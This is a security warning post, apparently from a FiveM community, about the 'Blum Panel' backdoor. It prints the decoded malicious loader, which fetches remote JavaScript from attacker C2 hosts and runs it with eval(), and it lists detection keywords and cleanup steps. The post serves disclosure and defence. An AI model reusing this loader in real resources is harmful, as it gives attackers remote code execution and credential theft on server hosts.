⚠️ WARNING: "Blum Panel" (blum-panel.me / warden-panel.me) is a malicious backdoor — remote-code loader hidden in resources

TL;DR: blum-panel.me advertises itself as a “FiveM control panel”, but it is malware. Resources tied to it contain an obfuscated JavaScript loader that, ~20 seconds after start, downloads code from attacker C2 servers and runs it with eval() — full remote code execution on your server host. Do not install it. If you already did, treat the machine as compromised.

What the obfuscated stager looks like (encoded, XOR-3 + char-code obfuscation):

(_,h)=>String.fromCharCode(parseInt(h,16))).split('').map(c=>String.fromCharCode(c.charCodeAt(0)^3)).join(''));

v="pfwJnnfgjbwf++ ... ~ 8" // long obfuscated blob

Decoded statically (NOT executed — just XOR each char with 3):

setImmediate(() => {

setTimeout(() => {

const __THREAD_NAME = "miaus"; // attacker handle "miauss"

const resourceName = GetCurrentResourceName(); // FiveM/CitizenFX API

if (typeof globalThis.GlobalState === "undefined") globalThis.GlobalState = {};

const currentOwner = globalThis.GlobalState[__THREAD_NAME];

if (!currentOwner || currentOwner === resourceName) {

globalThis.GlobalState[__THREAD_NAME] = resourceName;

on("onResourceStop", s => { if (s === resourceName) delete globalThis.GlobalState[__THREAD_NAME]; });

try {

require("https").get(`https://<c2-host>/zXeAHjj`, r => { // C2 #1

let d=''; r.on('data', c => d+=c);

r.on('end', () => {

try { eval(d); } // <-- remote code execution

catch {

require("https").get(`https://<c2-host>/zXeAHjjgg`, r2 => { /* ... eval(d2) ... */ }); // C2 #2

// final fallback: require("https").get(`https://<c2-host>/...fxre`, r3 => eval(d3)); // C2 #3

}

});

});

} catch (e) { /* fallback URL -> eval */ }

}

}, 20000);

});

What it does:

  • Disguises itself as a normal FiveM resource (GetCurrentResourceName, onResourceStop).
  • After a 20-second delay, pulls JavaScript from attacker-controlled hosts and runs it via eval().
  • Uses 3 staged fallback URLs for resilience.
  • The nachgeladene payload is what actually steals data (browser saved logins, Discord tokens, files) and can run OS commands via FiveM’s os.execute / RDP.

How to check your resources:

  • Search every resource for suspicious dynamic execution:
    • JS: eval(, new Function(, require("https").get, setImmediate, String.fromCharCode, charCodeAt, long hex/\u00xx blobs.
    • Lua: load(, loadstring(, os.execute, PerformHttpRequest pointing to unknown domains.
  • Watch for a hardcoded thread/marker name like miaus / miauss and unfamiliar outbound HTTPS hosts.

If you find it:

  1. Stop and delete the resource immediately.
  2. Treat the host as compromised — the loader may already have pulled a second stage.
  3. Block the C2 domains at the firewall.
  4. Rotate all credentials from a clean device (Discord, Steam, Google, banking, server/RCON, txAdmin, database).

References:

  • GitHub deobfuscation + detection scanner: github.com/ImJer/blum-panel-fivem-backdoor-analysis
  • 5mservers guide: 5mservers.com/guides/fivem-blum-panel-attack
  • vx-underground reverse-engineering thread (X / Twitter)

*Stay safe — never install “panels” or “tools” that ask you to drop a resource with obfuscated JS/Lua.